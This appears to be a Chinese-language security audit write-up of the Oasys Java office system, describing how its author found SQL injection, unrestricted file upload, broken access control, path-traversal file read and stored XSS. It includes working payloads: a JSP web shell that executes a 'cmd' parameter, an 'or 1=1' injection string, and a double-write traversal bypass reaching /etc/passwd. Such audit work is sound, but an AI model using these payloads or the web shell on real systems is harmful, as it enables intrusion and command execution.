Oasys 系统审计

简介: Oasys 系统审计

github下载oasys,安装数据库,修改密码,配置maven,idea启动


查看pom.xml文件,发现危险组建,fastjson,fileupload,猜测可能存在反序列化,文件上传漏洞。

sql注入

 

//进行逻辑判断,来根据那个排序,类型、状态、修改时间  传递了basekey参数        
List<Map<String,Object>>sortMyNotice(@Param("userId")Long userId,@Param("baseKey")String baseKey,@Param("type")Integer type,@Param("status")Integer status,@Param("time")Integer time);

Ctrl + 单击 查找调用关系

也可以使用find usages

     

这里比较直接,一步跳转到控制器,这里大致分析下代码

uri映射路径是informlistpaging
@RequestParam是通过web参数进行传递
这里调用了setSomething,
setSomething(baseKey, type, status, time, icon, model);
跟进查看,只是进行判断不为空即可
if(!StringUtils.isEmpty(baseKey)){              
   model.addAttribute("baseKey", baseKey);              
}
然后就是将数据存储在列表里
List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time);

构造请求

           

通过右侧搜索,抓包获取到关键字,

get方式直接使用url方法,输入1有八条信息

查看xml层代码,发现有俩%%,加上%发现成功返回数据
<if test="baseKey !=null">
      and n.title LIKE '%${baseKey}%'
    </if>

输入1%'or+1=1,显示22条,我记得模糊查询%%会自动省略吧

           

总共有两个mapper文件,另一个注入的也是basekey

           

大致流程和思路也是一样的

fastjson无漏洞

           

代码中总共调用了两处,且都是进行序列化。所以不会产生漏洞。

文件上传

原项目无法解析jsp添加以下依赖

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-devtools</artifactId>
  <optional>true</optional>
</dependency>
<dependency>
  <groupId>org.apache.tomcat.embed</groupId>
  <artifactId>tomcat-embed-jasper</artifactId>
  <scope>1.2</scope>
</dependency>
<dependency>
  <groupId>javax.servlet</groupId>
  <artifactId>javax.servlet-api</artifactId>
  <version>3.1.0</version>
  <scope>provided</scope>
</dependency>

两种思路,关键字搜索file upload

二是找文件控制器

           

查看upload方法

获取文件后缀

文件命名为uuid.后缀

先存放tmp目录再到主目录

rootpath目录

attachment用来管理文件

可见 并没有对后缀进行判断

尝试上传下

%
    java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int len = -1;
    byte[] bytes = new byte[1024];
    out.print("<pre>");
    while ((len = input.read(bytes)) != -1) {
        out.println(new String(bytes, "GBK"));
    }
    out.print("</pre>");
%>


640.png

从目录查找发现image里没有文件 而在attachment目录下

           

垂直越权

逻辑漏洞这快,主要关注 拦截器/过滤器或用户控制器

这里看了用户控制器主要是判断用户登陆,验证码问题

主要关注拦截器

前面代码大致是判断获取session信息

         

两个列表获取用户信息,直接从数据库中查询

640.png

 获取路径和菜单url是否相等,永远返回true

剩下的代码匹配ip,日志啥的,整体没有对用户的操作做限制。

640.png

admin查看系统模块,抓包替换为低权限的

           

在或者直接低权限 账号访问接口地址

           

任意文件读取

搜索filepath

找半天没找到接口地址

640.png

 往下翻看到了**

刚好也存在rootpath

path哪里会把/image替换为空,可以试试双写饶过

正常任意文件读取              
../../../../../../etc/passwd              
绕过              
//image..//image..//image..//image..//image../etc/passwd

 

抓包测试

存储xss

首先先看过滤器,拦截器有没有对xss的关键字做黑名单,如果没有在审计

全局搜 RequestMapping 然后找参数,输入payload

或者见框就插

           


相关文章
|
SQL 存储 安全
第4章 数据库安全性——4.4 审计
第4章 数据库安全性——4.4 审计
|
4月前
|
存储 安全 数据挖掘
|
6月前
|
监控 安全 BI
数据安全之认识数据库审计系统
数据库审计系统是保障企业核心资产的关键,它监控并分析数据库操作,提供实时告警和取证功能,应对SQL注入等安全威胁。系统依据法规要求,如GDPR,确保合规性,并支持敏感信息脱敏、报表统计、安全审计、告警及智能分析。通过旁路部署、软件插件或分布式方式安装,确保数据安全性,包括实时监控、违规检测、策略管理、记录检索、合规报告和风险预警。与日志审计系统协同工作,共同提升IT安全。
|
存储 监控 安全
网络安全之认识日志采集分析审计系统
日志对于大家来说非常熟悉,机房中的各种系统、防火墙、交换机、路由器等等,都在不断地产生日志。无数实践告诉我们,健全的日志记录和分析系统是系统正常运营与优化以及安全事故响应的基础。我们一起来认识日志采集分析审计系统。
305 0
|
SQL 前端开发 搜索推荐
记一次对wuzhicms的审计(一)
记一次对wuzhicms的审计
156 0
记一次对wuzhicms的审计(一)
|
SQL 缓存 前端开发
记一次对wuzhicms的审计(二)
记一次对wuzhicms的审计
109 0
记一次对wuzhicms的审计(二)
|
安全 NoSQL Java
JPA 的审计功能
简单介绍下JPA框架实现的审计功能
|
弹性计算 监控 负载均衡
云上日志集中审计
简介:在SLS的日志审计应用的基础上,集中汇聚云安全产品日志、Web服务日志等,进行集中审计。
255 0
云上日志集中审计
|
弹性计算 监控 安全
云上资源操作审计和配置审计
本方案是面向云上资源的操作审计和配置审计,提供的最佳实践。适用于企业型客户。通过最佳实践帮助客户在本场景下更好的使用阿里云,涉及到配置审计、操作审计、函数计算、SLS、OSS等服务的实践操作。
云上资源操作审计和配置审计